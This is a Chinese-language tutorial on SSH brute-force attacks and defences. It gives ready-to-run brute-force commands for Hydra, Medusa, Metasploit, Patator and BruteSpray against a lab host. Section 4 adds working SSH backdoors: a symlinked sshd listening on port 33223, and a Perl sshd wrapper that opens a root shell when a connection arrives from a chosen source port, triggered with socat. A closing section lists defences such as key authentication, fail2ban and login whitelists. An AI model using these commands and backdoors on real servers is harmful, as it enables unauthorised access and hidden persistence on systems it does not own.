应急响应之SSH暴力破解
字数 1284 2025-08-18 11:39:30
SSH暴力破解与防范技术详解
1. SSH协议简介
Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接。
主要特点:
- 加密的网络传输协议
- 提供安全的远程登录和命令执行
- 支持类Unix系统和Windows系统(Windows 10 1809版本已提供OpenSSH工具)
2. SSH暴力破解原理
SSH暴力破解是指攻击者通过尝试大量可能的用户名和密码组合来获取SSH服务访问权限的攻击方式。常见场景:
- 针对短密码或简单密码(仅数字或仅字母)
- 通过指定用户名爆破密码
- 通过指定密码爆破用户名(较少使用)
3. 暴力破解工具详解
3.1 Hydra(九头蛇)
特点:
- 多服务支持(Web登录、数据库、SSH、FTP等)
- 跨平台支持(Linux、Windows、Mac)
- Kali Linux自带
使用方法:
hydra -l test -P /home/test/桌面/TOP1000.txt -t 6 -vV 192.168.92.132 ssh
参数说明:
-l: 指定用户名-P: 指定字典绝对路径-t: 指定线程数-vV: 详细输出模式
3.2 Medusa
特点:
- 稳定性优于Hydra
- 支持多种协议(AFP, CVS, FTP, HTTP等)
- 模块支持少于Hydra
使用方法:
medusa -M ssh -h 192.168.92.132 -u test -P /home/test/桌面/TOP1000.txt
参数说明:
-M: 破解类型-h: 目标IP-u: 用户名-P: 字典路径
3.3 Metasploit
特点:
- 综合性渗透测试框架
- 不显示爆破过程,只显示成功结果
使用方法:
msfconsole
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.92.132
set username test
set pass_file /path/to/dictionary
set threads 5
run
3.4 Patator
特点:
- 模块化设计
- 需要手动安装
- 支持多用户密码破解
安装方法:
git clone https://github.com/lanjelot/patator.git
cd patator
python setup.py install
使用方法:
单用户:
./patator.py ssh_login host=192.168.92.132 user=test password=FILE0 0=/home/test/桌面/TOP1000.txt
多用户:
./patator.py ssh_login host=192.168.92.132 user=FILE1 1=/home/test/桌面/user.txt password=FILE0 0=/home/test/桌面/TOP1000.txt
3.5 BrutesPray
特点:
- 基于nmap扫描结果
- 自动调用Medusa
- 声称速度比Hydra快
安装方法:
sudo apt-get update
sudo apt-get install brutespray
使用方法:
- 先进行nmap扫描:
nmap -v 192.168.92.0/24 -oX nmap.xml
- 使用BrutesPray:
brutespray -f /home/jhc/nmap.xml -u test --service ssh
4. SSH后门技术
4.1 软连接后门
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=33223
使用方法:
ssh root@x.x.x.x -p 33223
特点:隐蔽性弱,易被检测
4.2 SSH Server wrapper后门
- 移动sshd:
cd /usr/sbin
mv sshd ../bin
- 编辑sshd:
vi sshd
加入内容:
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
- 修改权限:
chmod 755 sshd
- 使用socat:
socat STDIO TCP4:target_ip:22,sourceport=19526
- 免密登录:
ssh root@target_ip
4.3 SSH公钥免密
- 生成公私钥
- 将公钥复制到服务器的
~/.ssh/authorized_keys - 设置权限:
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
5. SSH暴力破解防范措施
- 使用SSH密钥认证:禁用口令认证,使用密钥认证
- 强密码策略:
- 增加密码长度
- 提高密码复杂度(大小写字母+数字+特殊字符)
- 定期更换密码
- 访问控制:
- 设置登录IP白名单
- 设置登录用户名白名单
- 修改默认端口:更改SSH默认22端口
- 入侵检测:使用snort、ossec等入侵检测系统
- 其他措施:
- 限制登录尝试次数
- 使用fail2ban等工具自动封禁暴力破解IP
- 定期检查系统日志
6. 总结
SSH暴力破解是常见的服务器攻击手段,攻击者使用各种工具尝试穷举密码。防范措施应从认证方式、密码策略、访问控制等多方面入手,构建多层次防御体系。同时,管理员应定期检查系统安全状态,及时发现并处理异常登录行为。